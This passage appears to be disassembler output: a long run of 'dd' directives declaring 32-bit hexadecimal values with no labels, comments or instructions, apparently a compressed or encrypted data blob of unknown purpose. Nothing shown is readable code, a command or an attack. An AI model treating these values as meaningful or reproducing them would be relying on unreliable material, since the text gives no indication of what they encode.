		dd 0D12BFB30h, 2682E00Eh, 0D0325234h, 0F7C82020h, 5492122Dh
		dd 0C182DD07h, 0F55C03E0h, 616DDF0Eh, 76700DDCh, 0C144887Fh
		dd 9187451h, 0DD4E8C15h, 8B683555h, 0D1FE1CCAh,	73FFC09Fh
		dd 0A2E95971h, 78A8293Ah, 6A55A7B8h, 4A006E36h,	458A2CECh
		dd 0CD4A9513h, 0D9C88969h, 88824389h, 0C95588FDh, 4A84774Ah
		dd 0D48F8654h, 39F40081h, 7359D445h, 6CF1A20Ah,	94F2E873h
		dd 0A25837CCh, 2ADF860Fh, 432553C1h, 7203F8ADh,	316A7404h
		dd 21512EBh, 484F0775h,	0E4019708h, 88CC5B93h, 0A3DC58D8h
		dd 9610B499h, 0C1628021h, 9194889Bh, 80DF3B62h,	1876E4B8h
		dd 9BF1A38Bh, 8DD1A8CBh, 0C1F00B7Dh, 0AB4002E9h, 0E13B83CAh
		dd 98A4A803h, 73378A58h, 0C0035573h, 0E18002F9h, 3E2983Fh
		dd 0CCECFE88h, 41EF124h, 3C010F80h, 0E2BC0C5Dh,	40CA0299h
		dd 0ED2E90F1h, 662F220h, 8C290F46h, 32033A91h, 238F633h
		dd 8BEE320Ch, 60DF7948h, 1F76EF16h, 0B7455001h,	354415BEh
		dd 8A09CAECh, 3C925C80h, 802FCBF7h, 5C4674C7h, 7239EC3Bh
		dd 48F5B651h, 0A041D7DAh, 879D7F14h, 10184EA5h,	0F1AACDC7h
		dd 395EE140h, 12734CC3h, 6A0A7B2Bh, 0CC0E703Dh,	0F1FE4E76h
		dd 8789DD96h, 0A68259F5h, 0A355A890h, 88CEB84Dh, 854B9106h
		dd 4D7835FFh, 88268DF6h, 0BC505724h, 9132424h, 0B02580E0h
		dd 44412653h, 0E4A18997h, 89641C6Eh, 4803350Dh,	1071C4A2h
		dd 0B22E9F25h, 95A24E14h, 0A501E14Ah, 119BDD7Ch, 184EBC85h
		dd 0EC7A1C45h, 1283BFC6h, 3699748Dh, 92883D56h,	0FB26B7F9h
		dd 3C4466D3h, 88B8E818h, 3ECB3BFFh, 0C8270275h,	33886DDh
		dd 9551EA68h, 2BC98C58h, 53477E56h, 0B0A1C94Ch,	0A174C63Bh
		dd 0D530023Bh, 0AC848C57h, 0E453EE84h, 3FF54BADh, 94140E02h
		dd 0F55F4CBBh, 0A3D3BB43h, 16042052h, 0ABE0A580h, 0DC253613h
		dd 602CF5ABh, 0BD318D4Ah
		dd 8F6823E1h, 0ABF31B87h, 84AA2566h, 68210446h,	3C0FA108h
		dd 0DCB8A286h, 167FBFECh, 0B505B70Fh, 4F2337F1h, 0C8682091h
		dd 6F644FB1h, 30A614FCh, 7005BA44h, 4917D090h, 2E644699h
		dd 0E71EE152h, 5221A00Ah, 9EBD13B8h, 302747A9h,	985D1ECAh
		dd 9F67C722h, 58077F0Bh, 6FFE360Fh, 0C1B9FE9Fh,	1427204h
		dd 84AF83D8h, 0A823AA5Ch, 0ABE67D07h, 9DE5B5D5h, 0D1A7A9DEh
		dd 0F047A7F3h, 55F60C92h, 0ECE81A64h, 0C953C8EDh, 43D4C5ABh
		dd 3DBD2A6Fh, 40755000h, 0A2C3858Ah, 8BC3800Fh,	0B06589F4h
		dd 1332E1F3h, 624845D0h, 3E9E17A6h, 5FB3C942h, 0F85C2064h
		dd 0E2C48455h, 35EB1C01h, 8B495381h, 0E750914h,	0A2C2A01Dh
		dd 1A1852EBh, 12014475h, 612C2C87h, 0F2F0B60Fh,	920759D5h
		dd 0E802E0F6h, 28AF035Ah, 9883F406h, 4D8C0F02h,	764AA8FAh
		dd 741D486Bh, 0B05A8B15h, 9895E9Bh, 1E5680FFh, 48068D95h
		dd 0BF0AD791h, 96FB101h, 0F2C492A1h, 45085E45h,	0AE462B11h
		dd 7C77CD82h, 52020030h, 76DB859Ah, 0FB8B3314h,	7E0309DDh
		dd 1AE1AB08h, 2026E11Fh, 98246664h, 0D505E57h, 2C5A0377h
		dd 0D619DAF5h, 8050B01Eh, 7DE13824h, 0C859D15Fh, 31425E0Ch
		dd 8C7F1EE3h, 148DAEBEh, 37269C03h, 7C85742h, 0A5B6F35Ah
		dd 0F9D8044Bh, 73EE4339h, 0DB5155A1h, 8E9F14E6h, 2BF0C501h
		dd 4CC7B384h, 0A0C0DEBh, 0B31E2A34h, 0F13F3FA3h, 0EF56CF94h
		dd 164FD693h, 120CF4D1h, 240B79EBh, 0F03F8376h,	4E789E75h
		dd 5140B04h, 78805018h,	73FEFF09h, 4E1E0D29h, 1B420736h
		dd 0CF4789C7h, 66084BE7h, 47EDD24Fh, 0FE616E96h, 78EBFF40h
		dd 0CFDE4057h, 2814C3A5h, 8E42E42Eh, 60C10356h,	0AC047753h
		dd 7E4743CDh, 0C7023089h, 0FCC25D23h, 856AE5E5h, 8320012Bh
		dd 2676FDFFh, 4E027C1Dh, 3BD23304h, 8A6840CAh, 3AFF1D41h
		dd 3C19CEC2h, 0C015DFDEh, 0FE4C75FAh, 886952C8h, 77513124h
		dd 45308B7Ch, 5438152Bh, 0D410242Ch, 0E7FC8420h, 89EA65C0h
		dd 7B880856h, 15E35411h, 0BF3D9017h, 0FA1F8986h, 73C73B0Dh
		dd 380C4218h, 390501EBh, 8730C7Eh, 0CA0F5157h, 54947D4Fh
		dd 83A18053h, 12667D04h, 724A2274h, 1B01C785h, 8AFF488Dh
		dd 0D14CDD44h, 0CC06FD0Ah, 7C288F4h, 89B6515Ch,	0BAD0515Fh
		dd 17090834h, 638084BDh, 0C32410C1h, 1A59C9F1h,	0E42B75EAh
		dd 0C59578C2h, 0E3D93810h, 8A896B53h, 8577BF48h, 0CB1245A9h
		dd 8470A05h, 2B7744ABh,	732DC2C6h, 34D8D7E1h, 4FEC322Ah
		dd 3FA047Fh, 7750CE58h,	85A61974h, 6CD86F90h, 91F32BA7h
		dd 765615CAh, 612A0A89h, 6606645Eh, 0D0B825CFh,	0C446D16h
		dd 707D628Bh, 6D461FCFh, 0F05CB698h, 76EC0A32h,	52E1303h
		dd 0D0478D0Bh, 0C42EF725h, 0C97988DCh, 16F9A55Fh, 8525EB13h
		dd 830A9195h, 601B4FC0h, 0ADB85935h, 0A1405BDAh, 7C80B294h
		dd 12B56BE8h, 1D17763Eh, 0E8AF2866h, 0F867D150h, 58F6402Eh
		dd 8485E8Bh, 4A39B67Ch,	806A8040h, 38E1FF60h, 7787501Ah
		dd 2BFB62C9h, 1D688A1Dh, 6C2EB5E8h, 599E8AC9h, 0E91EF9C5h
		dd 2284C72Ch, 8C88468Ah, 6717891Bh, 64562EB6h, 0C37C32E9h
		dd 0C3760161h, 0C02805F6h, 27FC24Dh, 0AB0D80BCh, 0CB168009h
		dd 245D6851h, 400240DBh, 0C35920CAh, 5462C194h,	596D103h
		dd 0D52950BEh, 0B9358110h, 0A5E1988Ah, 0A148BE02h, 0E56EBD10h
		dd 0FE66F957h, 0B26BD352h, 0A0CEA417h, 256AA2B4h, 0AE598845h
		dd 3C1A5914h, 0AA3DC6DDh, 0E23E14D5h, 6A501713h, 0FD3304A4h
		dd 0E825483Ah, 427E59A5h, 0CA30FCACh, 2A88B761h, 18707A10h
		dd 0DA950F84h, 14460BE1h, 0BDF004B8h, 0D3505728h, 6D60EA3h
		dd 0CB1C1040h, 70648494h, 38CD055Ch, 59B65F04h,	564AC06Eh
		dd 974E318h, 0EE972674h, 5916B796h, 0E287E384h,	1A5ADD21h
		dd 82E214F3h, 56E416D9h, 0E242E359h, 0E7D0D790h, 58F633F1h
		dd 4EE356E4h, 0D94AB4E2h, 0F24E1056h, 0B91C5AC1h, 0AB5DD504h
		dd 0E0CA57A3h, 76B2ADBDh, 0BB300084h, 16E15B64h, 0BE172D2Dh
		dd 0E9C295A7h, 0C5FC2F59h, 70CF914Bh, 0E0841070h, 5F2B4FA2h
		dd 855F6D11h, 42EE0B14h, 2864BB6Fh, 3A30AA49h, 9B7E71A3h
		dd 20802284h, 6A25E02Ch, 11A91A90h, 959A5742h, 0C35E2DD3h
		dd 0D7B7F953h, 0B9DD9A6h, 0C65C106Ah, 0CFA8381h, 46F74374h
		dd 46344BECh, 4F845198h, 352984BCh, 74E0502Ch, 79EB303Eh
		dd 0D7CCF8B0h, 91AEB1ADh, 321C812h, 714F748h, 975C412h
		dd 2920F4ADh, 401324D9h, 2052A416h, 0BBB4D749h,	606880EFh
		dd 78EAD292h, 4F75244Fh, 5C7BD1BBh, 0DC318AF3h,	0D5C91327h
		dd 1015663Bh, 9F40F36Ch, 7170BE0Ch, 683C1A6Ah, 0A3014FF0h
		dd 0BEFFC3Dh, 0DD3CC714h, 282B6839h, 30016A17h,	2B993032h
		dd 0F8D1C21Fh, 0CC8606Ah, 0AF8B9764h, 30444631h, 0A16A861h
		dd 0DE0C4220h, 0B77C90A1h, 2D8064A8h, 0BB019EAh, 0B442867Ah
		dd 0CC90A1DEh, 8862A8B7h, 77A133F1h, 140E6101h,	0BC60FE0Eh
		dd 38D88B40h, 58456A56h, 0ABBEEF7Ch, 0C94FBBC8h, 7691EAC4h
		dd 0C9381EE2h, 53945BC3h, 9C8E13F8h, 0FC685A56h, 4E5A850Fh
		dd 50CC5021h, 9D6AE3Ch,	18DF5E28h, 0A1024763h, 0A62F0C17h
		dd 0A4680982h, 70455429h, 16A4DB33h, 0A4AC534Eh, 89036A87h
		dd 13C950D8h, 0F8D9A5C0h, 4EF5E2AFh, 0A60FFEB4h, 41CC2552h
		dd 0D18CFADCh, 506A1FCAh, 3E724402h, 0F14E59CDh, 0E96AB36Ch
		dd 86B8A5F0h, 0A72F57DFh, 0F9CC04A6h, 11C9C481h, 0F84EF46Fh
		dd 0BF627405h, 0A11386A0h, 5E788DE7h, 9380B253h, 0AABF604Eh
		dd 5097C427h, 81C10517h, 0FC08242Ch, 8150F481h,	7C027E80h
		dd 4418660Ch, 28C93AECh, 4131DFF0h, 0D8F4E615h,	0C5A81E64h
		dd 0D9D7A8D7h, 0D6C65910h, 0A62352A3h, 0B141C2CFh, 0EC151253h
		dd 986A512Dh, 30AF5603h, 8364E021h, 8AB1EC4h, 0E9A12955h
		dd 0A092916Fh, 0FE6383E2h, 84F8843Bh, 6B78F117h, 66A546B8h
		dd 0DF5B3225h, 5BDC68D8h, 7E67CF53h, 2D9DD18Ah,	0DE469314h
		dd 5253E085h, 46E154A7h, 0E6E63E52h, 0D09740AEh, 10E29DEDh
		dd 78EBAE22h, 688163DDh, 2DD9CEC5h, 7502C514h, 59EB5603h
		dd 5A3A4E53h, 8F72EE57h, 10C28174h, 50C33AD2h, 0FBECE1C0h
		dd 92E7B86Eh, 0C9530EE4h, 0A28F460h, 590F5228h,	7918EBE5h
		dd 1D2BA028h, 892B1449h, 0EAEE5457h, 8DD28A17h,	5B4C7A14h
		dd 46FDCC22h, 16F6CA78h, 4E091148h, 9652F419h, 17CBBB13h
		dd 14D4624h, 0EBDE7C06h, 964F786Eh, 9D05D09Ch, 4D315BCAh
		dd 10090F5Ch, 1D129D39h, 1D216AF4h, 0B8455228h,	0E91C7524h
		dd 10A19A3Fh, 22A4FDCCh, 25F35954h, 459889CBh, 5A08B51h
		dd 0A80B381Ah, 0DE3C1DD1h, 0A6978DF3h, 0C0A5521Fh, 98A166F4h
		dd 0B18EAA32h, 0FB2256C3h, 0E932955Eh, 8C8C9727h, 8F5E8BE1h
		dd 0BDCB5F78h, 60251F66h, 49074EFAh, 0FC925E53h, 32578E24h
		dd 0BE8330A2h, 3B090190h, 4833FC68h, 0B5FE602Ch, 18C7AED9h
		dd 5BA935C4h, 905A385Fh, 0FB4825A5h, 8FED4BBBh,	531160E2h
		dd 44890E33h, 9DD91ED7h, 44239851h, 0D62A1064h,	0C44B2CB2h
		dd 5ED02F0Fh, 1B0C261h,	0B8825F22h, 0A5EE89B4h,	3424A113h
		dd 2F43BBA1h, 5428CBF0h, 92564D13h, 3C5D9461h, 1868C485h
		dd 488BDB34h, 0E7FD8C32h, 354C3F8Ah, 4888468Fh,	4018CE3Ch
		dd 28270033h, 606AEF7Ch, 68A498BDh, 292E4BA8h, 0A87EA31Ah
		dd 80EBD116h, 0FFFEFC9Eh
		dd 967C7684h, 831C5965h, 68096A45h, 0D16442FFh,	45848D81h
		dd 4043A37Bh, 411A0462h, 0D3AD0CFh, 224FF47h, 22954F43h
		dd 9043C31h, 0FE4448B2h, 7921710Eh, 26163369h, 0E3192CD6h
		dd 928D9935h, 0EDEA02C1h, 0ADA0DD76h, 6FA22B5Bh, 0C8C008D2h
		dd 0DE1110A4h, 0FEACBF13h, 0AE3DD32h, 11622589h, 8C996FCh
		dd 6A0123B2h, 3CC06B04h, 0DAD8AD30h, 37F490B3h,	6FEB208Ah
		dd 2AF8BEC1h, 0AE4B163Eh, 49303F98h, 32DBBCEBh,	541E6862h
		dd 106802EEh, 1314504Ah, 147A5845h, 40A2117Bh, 0EE643BB8h
		dd 0A6F7AA85h, 8CB74476h, 52933552h, 0F73B8079h, 29BEED7Ch
		dd 0CAA1C52h, 6A61764Ch, 88503103h, 64D3549Dh, 50550C14h
		dd 0DA44D2B3h, 361A9724h, 18053C65h, 8A257EBh, 0F0EC3062h
		dd 3C7ADD08h, 0F18C21BCh, 1A384A69h, 8CE6D517h,	84EFF852h
		dd 5D99D8A1h, 85D0F16Bh, 0E296829h, 0D3585705h,	480F6F28h
		dd 8B13B2BEh, 0C218CBDh, 53C920E7h, 0BDCAB3BFh,	8C4FDCCFh
		dd 2B0ED892h, 120640BEh, 0F8BC0B91h, 686A1C1Ah,	4D2F0C49h
		dd 24D01534h, 0ACA068F1h, 2723DAC3h, 522AA944h,	0B5AA88E0h
		dd 723367ACh, 0C8793130h, 2523B7C6h, 0FEE41B5Ah, 0E476B429h
		dd 4C706A42h, 9C682942h, 0C890622Bh, 180A5E22h,	0E859794h
		dd 33128468h, 3B13A201h, 83A23210h, 486D3CCAh, 0C4FC16A8h
		dd 2FB3D40h, 0C4A018Ch,	0DC0ECF17h, 75291C0Fh, 0D409EB12h
		dd 6852307Ch, 7F30521Ch, 0B64ABA94h, 0D4FF625Ch, 904316D3h
		dd 10DBA411h, 24E2309Ch, 0E04F0F60h, 15481382h,	850CF8BCh
		dd 74F27CF2h, 0B47A2C5Ch, 124AE5A3h, 12E88BEEh,	45EC92D2h
		dd 0FC084C1h, 0F2EF7895h, 909E5108h, 30AE9FFFh,	0BBE5F025h
		dd 2DEC64A1h, 53D6602Ch, 6A876162h, 88A12906h, 0C9FD9EEh
		dd 89918FECh, 641B448h,	8B2CE202h, 4C319CD7h, 57C83472h
		dd 44F7AC08h, 42586653h, 2D1C11A8h, 279546B2h, 0C888DE10h
		dd 920A1FF1h, 0F085C306h, 0E8830321h, 480D7430h, 0C0F5EC9Ch
		dd 0EB57F6D9h, 53C0A124h, 0D3F12B22h, 621807F1h, 0E4842275h
		dd 0E435F253h, 0B5742228h, 9BBB78EEh, 401C8312h, 0C5687409h
		dd 6964C96Fh, 6D7DF7AAh, 136A94F2h, 9A6ACBD2h, 0C9675B33h
		dd 696FA6A9h, 7771B2FBh, 23C47A69h, 0E7F420C8h,	689E1EA5h
		dd 27F4949Dh, 64147C74h, 4271F810h, 0BFC9748Fh,	8B568968h
		dd 22FC3534h, 57329BA6h, 9B7ED641h, 423F65C9h, 0F6144640h
		dd 0BA79B790h, 0FFB61CC4h, 427208B0h, 1733408Ch, 0DC642285h
		dd 0EE87223Bh, 513DC2A7h, 24DAA3E0h, 1FF4F1A1h,	0E892DA42h
		dd 5A348869h, 0D87ADA3Ah, 68DE1961h, 4A341213h,	0FE34412Ch
		dd 75F48B96h, 457A0A52h, 0A90D692h, 21696B68h, 8812174Eh
		dd 0C011FBD9h, 1D9F8520h, 0AC4CA539h, 14F29197h, 0C36FA421h
		dd 44D227DCh, 1438FC74h, 4BC6C603h, 0DD18F3C2h,	0AD3D99D3h
		dd 75F7E40Bh, 0F0030D2Bh, 0DEF3D9EBh, 6C393AA8h, 3353746Eh
		dd 76C7303Dh, 0CD50C62Bh, 0D841889h, 8C013241h,	0D20C8D10h
		dd 0D95C827Eh, 8F263D93h, 4C6224F9h, 0A1662102h, 7A9D25E4h
		dd 2171AFD5h, 0C7F65EFEh, 89D4AFC4h, 0C5926AAh,	17B8F3F7h
		dd 8AB47552h, 0FBB6205Eh, 75C5E466h, 34029D0Ch,	8761DE5Ch
		dd 0C6AC83Ch, 0DB09217Bh, 30A67FA5h, 3744DD25h,	0D4E284B5h
		dd 0C7D8E8C8h, 0B568C809h, 3BE3D946h, 0C5BBC9D5h, 6AF2BEAAh
		dd 0D806434Ch, 0C0A7403h, 2008E034h, 2C5FD4EBh,	438EDE4Ch
		dd 56567C91h, 657B8862h, 2DD511FEh, 0DC1864A2h,	2E04566Ah
		dd 8B994D88h, 0C99BF2Eh, 0E8C810FFh, 0CF3523D0h, 0B70115BEh
		dd 0CA0B10EAh, 0E2BB1CBBh, 71C6239Eh, 0B908E90Eh, 8922E114h
		dd 0B82FDC4Dh, 0ECB99277h, 3F26190h, 476AE418h,	10EC8E18h
		dd 78B7950h, 458AF84Dh,	52D167E5h, 374BE465h, 1CCC22A6h
		dd 8BE618E7h, 4ED22A4h,	10215DECh, 0E9EE22EFh, 0F081F108h
		dd 0C18B4017h, 93A4C723h, 9384C268h, 0E9CCE47h,	9F93A6E8h
		dd 5E76E14Ah, 25586627h, 65D27D8Bh, 7E0AE190h, 8456570Bh
		dd 5F248058h, 0F0362537h, 0E9CE09Bh, 0FDE5125h,	561268D8h
		dd 0B4817C73h, 2BB4448Dh, 53643421h, 9A32D7D9h,	5309EBC2h
		dd 932C2CC5h, 0FEC60471h, 0B7FBC539h, 112858C9h, 0EC49E718h
		dd 0DB567EC9h, 5142623Dh, 21239350h, 48A5143Dh,	0AEC6EB7Ah
		dd 0FC968143h, 0A3C0C97Ah, 8444B7Eh, 5B5DEC33h,	0D87E1577h
		dd 0C3C4976Bh, 14C86974h, 4BBE54EBh, 1C459F1Ch,	0E4C82890h
		dd 0BD20BEA6h, 619D3377h, 0C81C98C0h, 58CF574Ah, 686B847Eh
		dd 585414A7h, 0CACB3256h, 925F3032h, 109E4170h,	0DEE18D2Ah
		dd 0B058A2Fh, 8B1E0C91h, 0AD626E1Dh, 579A11FDh,	7817A4C6h
		dd 4C98A34Ah, 0CECAF46Ch, 0AD4EED68h, 0D0BF0B10h, 0A6FF0CB4h
		dd 88A84B4Bh, 22D3FF14h, 0E7480C88h, 446AD361h,	9C842695h
		dd 2D35A1CAh, 0BC451948h, 102346F7h, 0A8F1C04Fh, 11488B6Dh
		dd 44848A62h, 1B04CA3h,	9A669B20h, 890455B5h, 1A0C1252h
		dd 0DBF0D13h, 3F88360Fh, 11572F84h, 0E9B40422h,	6531FF8Ch
		dd 8A6846E8h, 33577489h, 0D1430A8Fh, 0C9B740EEh, 2869C97Eh
		dd 8E6419B4h, 3DEF6A78h, 5B6A4823h, 5F5D24FBh, 0B2FE67F8h
		dd 8CEC14CCh, 47D61381h, 4857550Eh, 9DA0FC28h, 2E6F1042h
		dd 6408140Ah, 300C7208h, 5A1DC75h, 609105D8h, 0B829CDFh
		dd 0FE68F1E0h, 0C4AB0CAh, 44E751F5h, 48C02CE7h,	27B2EC06h
		dd 8EFF5018h, 0ECC4DB43h, 11FA6953h, 53240B5Ch,	32EEC7EBh
		dd 1E53F05Dh, 0CE1E7126h, 75FE3B80h, 755D3945h,	53202DE4h
		dd 6A0912F7h, 0BB73D75Dh, 697651A7h, 40162C51h,	29078BEEh
		dd 78271A54h, 6AE59D69h, 41148514h, 0DB987E86h,	152C45B8h
		dd 60521292h, 0BBC63B49h, 76B0DAA4h, 0D5C8CF4Bh, 403D8878h
		dd 74BF029Dh, 15E15F47h, 56805275h, 6556443Dh, 4D533E32h
		dd 27ED213Ah, 8416BB9Ah, 7B547529h, 27157421h, 0FF7B9182h
		dd 572C254Ch, 0FC2CC23h, 0F9D48426h, 0BE4910C4h, 0ED6A4CEAh
		dd 11CEB27Fh, 703A7887h, 0E67408FAh, 0E470E5B0h, 21217521h
		dd 59527E7Eh, 0F36A2E0Dh, 0EE7DEBh, 9674A7C3h, 0B6F68C56h
		dd 224E3F46h, 4019F0B9h, 4EC2FC3Bh, 4740B538h, 0DF219AF9h
		dd 0C948977Bh, 0F88B431Bh, 9CE72805h, 0C7E24203h, 0CAB874h
		dd 0AAB47FD2h, 87850AF0h, 0DA9B901h, 50C33E1Bh,	0F2AF4F20h
		dd 2A010ACh, 0B8F59085h, 94BB923Bh, 315CAEDBh, 0E806E0D9h
		dd 0ABD4B5E4h, 0C40C2ED3h, 0D81542EAh, 534AC3D2h, 3586B2A2h
		dd 619721DCh, 51F86AD5h, 2CEB9DBFh, 0D404105Bh,	77FBF845h
		dd 0E8FBF541h, 42E97EC8h, 9AD7E80Fh, 0E0A726A0h, 887AF567h
		dd 6538834Bh, 53495AC8h, 71DB54C4h, 0B1F907C6h,	51ADE413h
		dd 8B07CEE0h, 0CCE1C355h, 0A646AB8h, 8945E829h,	8491259Dh
		dd 0F036F5EFh, 9DA4D8BDh, 6AFC7D05h, 0A8348D41h, 0FBC47BD1h
		dd 1502B09h, 256320Ah, 9927750h, 99609A5Dh, 0EA34F63Bh
		dd 6331F133h, 7C1ED17Bh, 6A5489C5h, 0FDDA2564h,	70F9DCAFh
		dd 0E8D70FA3h, 2101565Ah, 9795204Bh, 84C8926Ch,	0DA3B94A2h
		dd 857A7516h, 1013A0DFh, 2201C695h, 219FFDC4h, 71EC15CFh
		dd 84796B4Ch, 9C39C929h, 8D167682h, 0F0AF9395h,	70C7402h
		dd 4C28341h, 0A16FA3Bh,	4008F072h, 0BD831675h, 73400284h
		dd 8D84890Dh, 858A288Fh, 0BD3B1410h, 89037E0Dh,	151F600Ah
		dd 49B46813h, 91D3B0B4h
		dd 56A30A10h, 25ADC8B4h, 2CA60644h, 8B527F0Ah, 0E2303395h
		dd 6876D63Bh, 846D403Ah, 80A7438h, 72CA00C0h, 4A26EBF4h
		dd 1B730EC2h, 8B5F908Dh, 41040A50h, 4D321089h, 72378F43h
		dd 0C98B54ECh, 8A5BC657h, 0B66CD567h, 48EF12ACh, 0AC2D6874h
		dd 10493A49h, 0A6A46818h, 737EB711h, 0D70D7562h, 8C68D078h
		dd 0E60A442Ah, 846425ADh, 2DFC3E2Dh, 68144898h,	53EB6C44h
		dd 64212161h, 42680D58h, 90402354h, 2110AC4Ch, 1F113868h
		dd 0EF134C8h, 14681E00h, 0CC485789h, 0CBF348Ch,	2874FE17h
		dd 0B7242628h, 5A084431h, 13C4443Dh, 48F46810h,	3789D5DCh
		dd 4842F0A8h, 2B3CDCE2h, 4424D468h, 0BECDC134h,	0AE27A4A8h
		dd 4AFED888h, 9809A059h, 0F362F50Dh, 72FED8C4h,	4A162D3h
		dd 0A0728E4Bh, 0DE2A5C3Ch, 4B88BE14h, 4BFD1096h, 0F74D6628h
		dd 74A425EEh, 0EB0F054Ch, 804132B2h, 8558BF36h,	0AD26F1BDh
		dd 491D7D1h, 0B2189677h, 0DC24E408h, 0F614D449h, 0C4485821h
		dd 8B30F904h, 21A97CB1h, 0BE0EA23Dh, 326A0D0Fh,	8A3F363Fh
		dd 504B1034h, 5958BFA3h, 61B54486h, 274B1044h, 34A5B710h
		dd 7A7D791Ch, 5768B4F0h, 5C493344h, 231D5D50h, 1CE52468h
		dd 8BCCD17Ch, 99285024h, 0F5A84713h, 0B6F5D3CDh, 4B684793h
		dd 5B5EECBFh, 4C9E0D93h, 0BC109649h, 237516FBh,	0F7204A45h
		dd 917F94B2h, 0E2389D04h, 0F9201CC4h, 11D8E5A2h, 75D93CEAh
		dd 5D509372h, 85D86817h, 41845A20h, 3F479BA1h, 5E0EFA39h
		dd 0A62224B4h, 5C0525C1h, 0EB598654h, 2011CA2Eh, 0DC487C68h
		dd 42CD28B0h, 1BE1689Bh, 864A6068h, 0ABF4C359h,	12832B50h
		dd 31AB3B47h, 0AA198E01h, 0E47932E9h, 0D7D4B295h, 14A09339h
		dd 0EA9212ADh, 0E074D08Dh, 8B2FE16Ah, 0A3BB6294h, 9564582Ch
		dd 0D256F93Ah, 5C0C7542h, 7AF552CFh, 0E31095D5h, 28A235FFh
		dd 1659E854h, 8EC21159h, 2FD4CD47h, 15DEE52Eh, 4BAEB782h
		dd 0D4564182h, 1BF76BE6h, 0EBF05E6Eh, 14575964h, 50A8C2BBh
		dd 20BFCEDFh, 6074F685h, 100C4602h, 5E573E75h, 96926D1Bh
		dd 9375FA51h, 99AF5EEh,	578C9410h, 0F908B28Ch, 0A546272Dh
		dd 0C9743D80h, 0BCF95F5Bh, 15B99D90h, 848AED99h, 0B37428F0h
		dd 0ECB91330h, 5B142E98h, 4B7EB6FAh, 2FB0FEF0h,	186503ACh
		dd 0BD9D7025h, 0A42D1B3Eh, 40D73CFDh, 0A585E0DEh, 0ACF4B224h
		dd 0C2876F41h, 0D1FDAC85h, 0ADC5997h, 5344234Ah, 1449515Eh
		dd 89C7EC7Fh, 0D4143E15h, 9D56B22Eh, 2511192Bh,	0ABDE8B34h
		dd 0E17E2589h, 7D0600A3h, 412D6AF8h, 0B52BC133h, 50500E43h
		dd 9E102902h, 98DFA050h, 0ABD50BBh, 0BD81BA40h,	3E7602C2h
		dd 8A56DEE5h, 29D67410h, 89A728FCh, 89A9FF47h, 2AEF848h
		dd 284F78Ah, 0D7F8B367h, 0D3FF9DE0h, 643DCA28h,	3344884Ch
		dd 1002BBC9h, 92958D12h, 43F15087h, 72CB0C08h, 7B7508F4h
		dd 40FB0919h, 0E5621473h, 328B1C05h, 0AAB143A3h, 0F92403Bh
		dd 7DD34A86h, 0B0904484h, 0E1BFA7EEh, 4087C7A2h, 0CEB757D7h
		dd 21AFF3E9h, 4EB8ABD6h, 42AB9F39h, 0A75612F9h,	587F16EBh
		dd 889083F9h, 1F6A898h,	9326D395h, 2C95E139h, 448C9110h
		dd 43618D63h, 1D73C8EEh, 598FBADEh, 0C89D8F15h,	538DC690h
		dd 72CA0A3Ah, 0C89F4BEAh, 911AA830h, 0EE89A5AEh, 818C6F9Ch
		dd 680832A1h, 31BED7B2h, 2B818601h, 848A0130h, 3C1EA005h
		dd 5288790Ah, 4458B935h, 0BE258C22h, 0CA8C88F8h, 8EEA56C4h
		dd 13482943h, 0F8804821h, 36765905h, 5B7EB7B8h,	9C2CD6B8h
		dd 0BAC20869h, 0A57D7BD4h, 10A518DDh, 2F1752EBh, 0DAF46812h
		dd 347412D4h, 0C2F3D2Bh, 0A58212F2h, 4650C230h,	823978A9h
		dd 820F5920h, 0EAF20841h, 994444CBh, 6B852B3Fh,	0E30A4248h
		dd 8EE4EBF1h, 3EBF13Fh,	27A97DA3h, 9F5F3241h, 0EAA9A014h
		dd 0C1158849h, 0B752F572h, 6591817Ch, 3973823Bh, 0FF086583h
		dd 0DEF4F42Bh, 0AC6061D2h, 18322614h, 0BA34B84Bh, 62F94D52h
		dd 0EFB4F012h, 0BB071349h, 46E71700h, 94ECF83Bh, 0FD2C1491h
		dd 0ADEBC2D2h, 627FC28Bh, 0B16BF1C4h, 0F71075h,	9449CC68h
		dd 0B49D78BCh, 0AB5EFD42h, 0BC222017h, 186490B0h, 1C3B8BFAh
		dd 0BC3CCA14h, 59978510h, 0A042858Ah, 97E9A65Eh, 5B217616h
		dd 580E1654h, 0D9B4F25Ah, 80C70BB3h, 0B95D5589h, 756838D1h
		dd 0EEFAB0C5h, 2B62549Fh, 6414F9ACh, 0AF392033h, 0DA404C89h
		dd 4B086807h, 52D0E4Ch,	0C84BECE4h, 0FF526458h,	98458739h
		dd 44BABE45h, 83466A47h, 3D4BD846h, 102597B2h, 0E01990C4h
		dd 0CC281E6Ah, 70C230Ah, 0C948BD83h, 984507E6h,	29089EFEh
		dd 0A25C1D75h, 49E94F87h, 371C4AFDh, 10AF245Ah,	23423BA7h
		dd 0F06911C1h, 28290F29h, 0CB571737h, 8FF7FDAh,	2F0291B5h
		dd 0D130DD1Ah, 0FDAE1675h, 4CA81B84h, 0ED98F1F9h, 0FE1DEB2Bh
		dd 94175794h, 0CDEAB521h, 594719DBh, 28FCD384h,	3DFB9757h
		dd 84BDC445h, 0F0C872D3h, 6A8A712Bh, 0B4101399h, 2F2638CDh
		dd 84927474h, 0C3095323h, 0D55C82C6h, 0F48B6059h, 649C7FFEh
		dd 10B00F84h, 0CF8C4B90h, 761A619Ah, 0CA80C777h, 992B16C0h
		dd 110134Fh, 0BC802EC9h, 25134035h, 15C82475h, 91329EF5h
		dd 7AF6221Ah, 46100530h, 231D84C6h, 83CB2089h, 1AEB8317h
		dd 122E3511h, 8EF2F3Ch,	3015CC5h, 88C0BE0Fh, 5A082249h
		dd 4E8AF346h, 815F4350h, 7259F03Bh, 51C75990h, 6FFCEC50h
		dd 0D01665A3h, 0D42DFE9Ah, 85EE1405h, 0A1E2BE79h, 4B14188Ah
		dd 2E0546F5h, 269016Ah,	0D745E10h, 0B65B672h, 23910806h
		dd 316562F2h, 0EF1D9E01h, 9A5CAB9Eh, 84771B03h,	4EF039C4h
		dd 7F3C499Dh, 0E8BD317Fh, 9D6A747Dh, 59541422h,	4C80C25Fh
		dd 0A0B81843h, 0DDA412A6h, 0B4AAC04Ch, 9044A075h, 3B94AEFAh
		dd 65EEAF2Dh, 4F839FE1h, 5F91FCD0h, 0C5E4A0E0h,	0A85BEB13h
		dd 64F3B1E1h, 746A9F30h, 6B565303h, 97805F54h, 99B5CB6Ch
		dd 0CF5D3065h, 8E64710Eh, 917927BDh, 0BB1414D8h, 4B609D11h
		dd 8B2F1AA2h, 7A962B5Fh, 4C6838B4h, 9AD8E3DEh, 0ECC55526h
